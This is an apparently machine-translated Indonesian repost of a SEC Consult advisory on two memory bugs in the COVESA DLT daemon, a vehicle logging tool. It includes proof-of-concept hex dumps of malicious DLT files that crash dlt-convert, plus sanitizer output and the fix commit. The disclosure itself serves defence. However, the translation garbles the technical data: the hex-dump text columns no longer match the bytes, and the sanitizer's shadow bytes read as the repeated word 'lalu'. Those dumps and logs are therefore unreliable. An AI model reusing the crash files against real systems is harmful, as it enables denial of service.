COVESA 2.18.8 NULL Dereferensi Pointer / Heap Buffer Over-Read

  • Whatsapp
OpenCATS 0.9.4 Eksekusi Kode Jarak Jauh
OpenCATS Eksekusi Kode Jarak Jauh

News.nextcloud.asia

SEC Konsultasikan Vulnerability Lab Security Advisory < 20220923-0 >
================================================== =======================
judul: Kerentanan Korupsi Beberapa Memori
produk: daemon COVESA DLT (Log dan Jejak Diagnostik)
Aliansi Sistem Kendaraan Terhubung (COVESA), sebelumnya GENIVI
versi rentan: <= 2.18.8
versi tetap: cabang master saat ini komit 855e0017a980d2990c16f7dbf3b4983b48fac272
Nomor CVE: CVE-2022-39836, CVE-2022-39837
dampak: sedang
beranda: https://github.com/COVESA/dlt-daemon
ditemukan: 2022-01-14
oleh: Steffen Robertz (Kantor Wina)
Gerhard Hechenberger (Kantor Wina)
Thomas Weber (Kantor Wina)
Timo Longin (Kantor Wina)
SEC Konsultasikan Vulnerability Lab

Bagian terintegrasi dari SEC Consult, sebuah perusahaan Atos
Eropa | Asia | Amerika Utara

https://www.sec-consult.com

================================================== =======================

Deskripsi penjual:
——————-
“The Connected Vehicle Systems Alliance (COVESA) (sebelumnya dikenal sebagai GENIVI .)
Alliance adalah aliansi teknologi yang terbuka, kolaboratif, dan berdampak; mempercepat
potensi penuh dari kendaraan yang terhubung. Bekerja sama, kita adalah pengganda kekuatan,
menciptakan ekosistem mobilitas yang lebih beragam, berkelanjutan, dan terintegrasi.”

Sumber: https://www.covesa.global/

“GENIVI Diagnostic Log and Trace (DLT) menyediakan antarmuka log dan pelacakan,
berdasarkan protokol standar yang ditentukan dalam standar AUTOSAR 4.0 DLT.
Ini digunakan oleh komponen GENIVI lainnya tetapi dapat berfungsi sebagai kerangka kerja logging untuk
aplikasi lain tanpa kaitannya dengan GENIVI.”

Sumber: https://github.com/COVESA/dlt-daemon

Rekomendasi bisnis:
————————
Proyek memperbaiki kerentanan dengan komit 855e0017a980d2990c16f7dbf3b4983b48fac272
(https://github.com/COVESA/dlt-daemon/commit/855e0017a980d2990c16f7dbf3b4983b48fac272).

Tidak ada versi baru yang telah diberi tag, sehingga disarankan untuk memperbarui cabang master saat ini.

Ikhtisar/deskripsi kerentanan:
———————————–
1) Dereferensi Null-Pointer (CVE-2022-39837)
Karena pengurai file DLT yang salah, file DLT berbahaya yang merusak proses
dapat dibuat. Ini karena tidak ada pemeriksaan validasi.

2) Heap Buffer Over-Read (CVE-2022-39836)
Pengurai file DLT akan membaca satu byte dari memori tumpukan saat mengonversi
file DLT berbahaya.

Bukti dari konsep:
—————–
1) Dereferensi Null-Pointer (CVE-2022-39837)
Contoh file DLT berikut akan menyebabkan dereferensi pointer nol dan membuat crash
proses konversi dlt.
Namun, crash disebabkan di /dlt-daemon/src/shared/dlt_common.c:714 dan
dengan demikian kemungkinan besar akan mempengaruhi seluruh dlt-daemon suite.

xxd nullpointer_dereference.dlt
00000000: 444c 5401 ffff ffff 0000 0000 4141 4141 DLT………AAAA
00000010: ffff ffff ….

Menjalankan file menyebabkan crash berikut:

./dlt-convert -m nullpointer_dereference.dlt
[ 7118.461371]~DLT~10310~PERINGATAN ~Tidak dapat membaca parameter tambahan header standar
dari berkas!
[1] 10310 kesalahan segmentasi (core dibuang)
./dlt-convert -m nullpointer_dereference.dlt

Kesalahan terjadi karena bidang htypew di DltStandardHeader menunjukkan bahwa
sebuah DltExtendedHeader disediakan. Namun, itu tidak pernah diperiksa, jika diperpanjang
header sebenarnya disediakan dalam file DLT.

2) Heap Buffer Over-Read (CVE-2022-39836)
Contoh file DLT berikut akan menyebabkan buffer heap over-read oleh satu byte jika:
dieksekusi dengan ./dlt-convert -m

———————–
00000000: 444c 5401 d718 aa61 ebaf 0200 4543 5531 DLT….a….ECU1
00000010: 3500 0020 4543 5531 0be0 cc29 2601 4441 5.. ECU1…)&.DA
00000020: 3100 4443 3100 020f 0000 0002 0000 0000 1.DC1………..
00000030: 444c 4c01 d718 aa61 fb17 775f 0bce 290c DLL….a..w_..).
00000040: 4101 444c 5444 494e 544d 0002 0000 2e00 A.DLTDINTM……
00000050: 4461 656d 6f6e 206c 6175 6e63 6865 642e Daemon diluncurkan.
00000060: 2053 7461 7274 696e 6720 024c 4f47 0054 Mulai .LOG.T
00000070: 4553 5423 0800 0000 0000 0003 0000 0000 IS#…………
00000080: 0200 001d 0054 68af 0200 4543 5531 3d01 …..Th…ECU1=.
00000090: 0079 4543 5531 0017 775f 0bd3 de1b 4101 .yECU1..w_….A.
000000a0: 444c 5444 494e 544d 0002 0000 5900 4170 DLTDINTM….Y.Ap
000000b0: 706c 6963 6174 696f 6e49 4420 274c 4f47 plicationID ‘LOG
000000c0: 2720 7265 6769 7374 6572 6564 2066 6f72 ‘ terdaftar untuk
000000d0: 2050 4944 2031 3533 3739 3138 2c20 4465 PID 1537918, De
000000e0: 7363 7269 7074 696f 6e3d 5465 7374 2041 skripsi=Uji A
000000f0: 7070 6c69 6361 7469 6f6e 2066 6f72 204c aplikasi untuk L
00000100: 6f67 6710 0000 0044 4c54 01d7 18aa 61fe ogg….DLT….a.
00000110: af02 0045 4355 313d 0000 4945 4355 3100 …ECU1=..IECU1.
00000120: 1777 7e0b d3de 1b31 024c 4f47 6973 206d .w~….1.LOGis m
00000130: 7920 6669 7273 7420 6c6f 0000 00f5 0100 y pertama lo……
00000140: 001d 0054 6869 7320 6973 206d 7920 6669 …Ini fi saya
00000150: 7273 7420 6c6f 6720 6d65 7373 6167 6500 pesan log pertama.
00000160: 444c 5401 d718 b261 00b0 0200 4543 5531 DLT….a….ECU1
00000170: 3d01 0049 4543 5500 0001 0000 0000 0200 =..IECU………
00000180: 001d 0054 6869 7320 6973 206d 7920 6669 …Ini fi saya
00000190: 7273 7420 6c6f 6720 6d65 7373 6167 6500 pesan log pertama.
000001a0: 444c 5401 d718 aa61 01b0 0200 4543 5531 DLT….a….ECU1
000001b0: 3d02 0049 4543 5531 0017 777e 0bd4 052d = .. IECU1..w ~ …-
000001c0: 3102 4c4f 4700 5445 5354 2308 0000 0000 1.LOG.TEST#…..
000001d0: 0000 0200 0000 0002 0000 9c00 5468 6973 …………Ini
000001e0: 2069 7320 6d79 2066 6972 7374 206c 6f67 adalah log pertama saya
000001f0: 206d 6573 7361 6765 0044 4c54 01d7 18aa pesan.DLT….
00000200: 6113 b002 0045 4355 313d 0300 4945 4355 a….ECU1=..IECU
00000210: 310b d418 b831 024c 4f47 0054 4553 5423 1….1.LOG.TEST#
00000220: 0800 0000 0000 0003 0000 0000 0200 001d …………….
00000230: 0054 6869 7320 6973 206d 7920 6669 7273 .Ini pertama saya
00000240: 7420 6c6f 6720 6d65 7373 6167 6500 444c t log pesan.DL
00000250: 5401 d718 aa61 15b0 4800 4543 5531 3d04 T….a..H.ECU1=.
00000260: 0049 4543 5531 0017 777e 0bd4 2c43 3102 .IECU1..w ~ .., C1.
00000270: 4c4f 4700 5445 5354 2308 0000 0000 0000 LOG.TEST#…….
00000280: 0400 0000 0002 0000 1d00 5468 6973 2069 ……….Ini saya
00000290: 7320 6d79 2066 6972 7b74 0be0 cc29 2601 s my fir{t…)&.
000002a0: 4441 3100 4443 3100 020f 0000 0002 0000 DA1.DC1………
000002b0: 0000 444c 4c01 313d 0200 3845 4355 3100 ..DLL.1=..8ECU1.
000002c0: 1777 5f0b d466 ​​dd41 0144 4c54 4449 4e54 .w_..fADLTDINT
000002d0: 4d00 0200 0018 0055 6e72 6567 6973 7465 M……Batalkan pendaftaran
000002e0: 7265 6420 4170 4944 2027 4c4f 4727 0044 merah ApID ‘LOG’.D
000002f0: 4c54 01d7 18aa 444c 5401 d718 aa61 ebaf LT….DLT….a..
00000300: 0200 4543 5531 3500 0020 4543 5531 0be0 ..ECU15.. ECU1..
00000310: cc29 2601 4441 3100 4443 3100 020f 0000 .)&.DA1.DC1…..
00000320: 0002 0000 0000 444c 5401 d718 aa61 fbaf ……DLT….a..
00000330: 0200 4543 5531 3d00 004e 4543 5531 0017 ..ECU1=..NECU1..
00000340: 775f 0bce 290c 4101 444c 5444 494e 544d w_..).A.DLTDINTM
00000350: 0002 0000 2e00 4461 656d 6f6e 206c 6175 ……Daemon lau
00000360: 6e63 6865 642e 2053 7461 7274 696e 6720 nched. mulai
00000370: 746f 206f 7574 7075 7420 7472 6163 6573 untuk menghasilkan jejak
00000380: 2e2e 2e00 444c 5401 d718 aa61 fdaf 0200 ….DLT….a….
00000390: 4543 5531 3d01 0079 4543 55 ECU1=..yECU
—————————-

Mengkompilasi dlt-convert dengan dukungan ASAN menunjukkan heap-buffer over-read
dari satu byte:

————————————————– —————————————–
�� )&D app_trace state V 85
[000000: 41 31 00 44 43 31 00 02 0f 00 00 00 02 00 00 00 A1.DC1……….
000010: 00 44 4c 54 01 d7 18 aa 61 fb af 02 00 45 43 55 .DLT….a….ECU
000020: 31 3d 00 00 4e 45 43 55 31 00 17 77 5f 0b ce xx 1=..NECU1..w_..]
[1646261.167986]~DLT~547178~PERINGATAN ~Tidak dapat membaca parameter tambahan header standar dari file!
5 2021/12/03 14:17:11.176125 822234191 001 Rp15 1
�� )&D app_trace state V 85
================================================== =================
==547178==KESALAHAN: AddressSanitizer: heap-buffer-overflow pada alamat 0x60400000003f di pc
0x7ffff7b77973 bp 0x7fffffffa7f0 sp 0x7fffffffa7e8
BACA ukuran 1 di 0x60400000003f utas T0
[Detaching after fork from child process 550639]
#0 0x7ffff7b77972 di dlt_print_hex_string_delim /dlt-daemon/src/shared/dlt_common.c:147:35
#1 0x7ffff7b77ede di dlt_print_hex_string /dlt-daemon/src/shared/dlt_common.c:156:12
#2 0x7ffff7b77ede di dlt_print_mixed_string /dlt-daemon/src/shared/dlt_common.c:205:9
#3 0x7ffff7b7fb4f di dlt_message_payload /dlt-daemon/src/shared/dlt_common.c
#4 0x7ffff7b9c12d di dlt_message_print_mixed_plain /dlt-
daemon/src/shared/dlt_common.c:3281:5
#5 0x4cd050 di /dlt-daemon/src/console/dlt-convert.c:454:21 utama
#6 0x7ffff6bd3ca2 di __libc_start_main (/lib64/libc.so.6+0x3aca2)
#7 0x41f1bd di _start (/dlt-daemon/build_asan_debug2/src/console/dlt-convert+0x41f1bd)
0x60400000003f terletak 0 byte di sebelah kanan wilayah 47-byte
[0x604000000010,0x60400000003f)
allocated by thread T0 here:
#0 0x499e5d in malloc /tmp/llvm/utils/release/final/llvm-project/compiler-
rt/lib/asan/asan_malloc_linux.cpp:145:3
#1 0x7ffff7b8f55d in dlt_file_read_data /dlt-daemon/src/shared/dlt_common.c:1428:43
SUMMARY: AddressSanitizer: heap-buffer-overflow /dlt-daemon/src/shared/dlt_common.c:147:35 in
dlt_print_hex_string_delim
Shadow bytes around the buggy address:
0x0c087fff7fb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c087fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c087fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c087fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c087fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c087fff8000: fa fa 00 00 00 00 00[07]lalu lalu lalu lalu lalu lalu lalu
0x0c087fff8010: lalu lalu lalu lalu lalu lalu lalu lalu lalu lalu lalu lalu lalu lalu lalu
0x0c087fff8020: lalu lalu lalu lalu lalu lalu lalu lalu lalu lalu lalu lalu lalu lalu lalu lalu lalu
0x0c087fff8030: lalu lalu lalu lalu lalu lalu lalu lalu lalu lalu lalu lalu lalu lalu lalu lalu
0x0c087fff8040: lalu yang lalu lalu yang lalu yang lalu yang lalu yang lalu yang lalu yang lalu yang lalu yang lalu yang lalu
0x0c087fff8050: lalu lalu lalu lalu lalu lalu lalu lalu lalu lalu lalu lalu lalu lalu lalu
Legenda byte bayangan (satu byte bayangan mewakili 8 byte aplikasi):
Beralamat: 00
Dapat dialamatkan sebagian: 01 02 03 04 05 06 07
Zona merah kiri tumpukan: fa
Wilayah tumpukan yang dibebaskan: fd
Tumpukan zona merah kiri: f1
Tumpukan zona merah tengah: f2
Tumpuk zona merah kanan: f3
Tumpuk setelah kembali: f5
Penggunaan tumpukan setelah cakupan: f8
Zona merah global: f9
Urutan init global: f6
Diracuni oleh pengguna: f7
Wadah meluap: fc
Cookie array: ac
Zona merah objek intra: bb
ASan internal: fe
Zona merah alokasi kiri: ca
Zona merah alokasi kanan: cb
Kesenjangan bayangan: cc
==547178==BATAL

Versi yang rentan/teruji:
—————————–
Cabang Git Master v2.18.8 saat ini telah diuji dan ternyata rentan.
(diuji pada komit aa1364fbdf8700a2c3d2176180f92fb9a4b44251)

Garis waktu kontak vendor:
————————
2022-04-01: Menghubungi pengelola melalui email.
2022-04-01: Email dikembalikan ke pengirim karena file lampiran ilegal (mungkin kunci PGP).
2022-04-04: Mengirimkan saran melalui surat terenkripsi SMIME ke alamat email lain yang teridentifikasi.
2022-04-05: Penasihat diterima, vendor mulai mengerjakan perbaikan.
2022-04-20: Status yang diminta.
2022-04-21: Saat ini sibuk dengan berbagai proyek. Akan membuat kami terus diperbarui tentang upaya penambalan.
2022-05-04: Vendor membagikan patch tentatif.
2022-07-29: Permintaan pembaruan status dari vendor.
2022-08-01: Kerentanan diperbaiki di komit 855e0017a980d2990c16f7dbf3b4983b48fac272
2022-09-23: Rilis publik dari penasihat keamanan

Larutan:
———
Kerentanan telah diperbaiki dengan commit 855e0017a980d2990c16f7dbf3b4983b48fac272.
Tidak ada versi baru yang telah diberi tag, sehingga disarankan untuk memperbarui cabang master saat ini.

Lihat https://github.com/COVESA/dlt-daemon/commit/855e0017a980d2990c16f7dbf3b4983b48fac272

Solusi:
———–
Tidak ada

URL Saran:
————-
https://sec-consult.com/vulnerability-lab/

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~

SEC Konsultasikan Vulnerability Lab

SEC Consult, sebuah perusahaan Atos
Eropa | Asia | Amerika Utara

Tentang SEC Consult Vulnerability Lab
SEC Consult Vulnerability Lab merupakan bagian terintegrasi dari SEC Consult, dan
perusahaan Atos. Ini memastikan perolehan pengetahuan lanjutan dari SEC Consult di
bidang keamanan jaringan dan aplikasi untuk tetap berada di depan penyerang. Itu
SEC Consult Vulnerability Lab mendukung pengujian penetrasi berkualitas tinggi dan
evaluasi teknologi ofensif dan defensif baru untuk pelanggan kami.
Oleh karena itu, pelanggan kami mendapatkan informasi terbaru tentang kerentanan
dan rekomendasi yang valid tentang profil risiko teknologi baru.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~
Tertarik untuk bekerja dengan para ahli dari SEC Consult?
Kirimkan aplikasi Anda kepada kami https://sec-consult.com/career/

Tertarik untuk meningkatkan keamanan siber Anda dengan para ahli dari SEC Consult?
Hubungi kantor lokal kami https://sec-consult.com/contact/
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~

Mail: penelitian keamanan di sec-consult dot com
Web: https://www.sec-consult.com
Blog: http://blog.sec-consult.com
Twitter: https://twitter.com/sec_consult

EOF S. Robertz, G. Hechenberger, T. Weber, T. Longin / @ 2022

Pos terkait

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *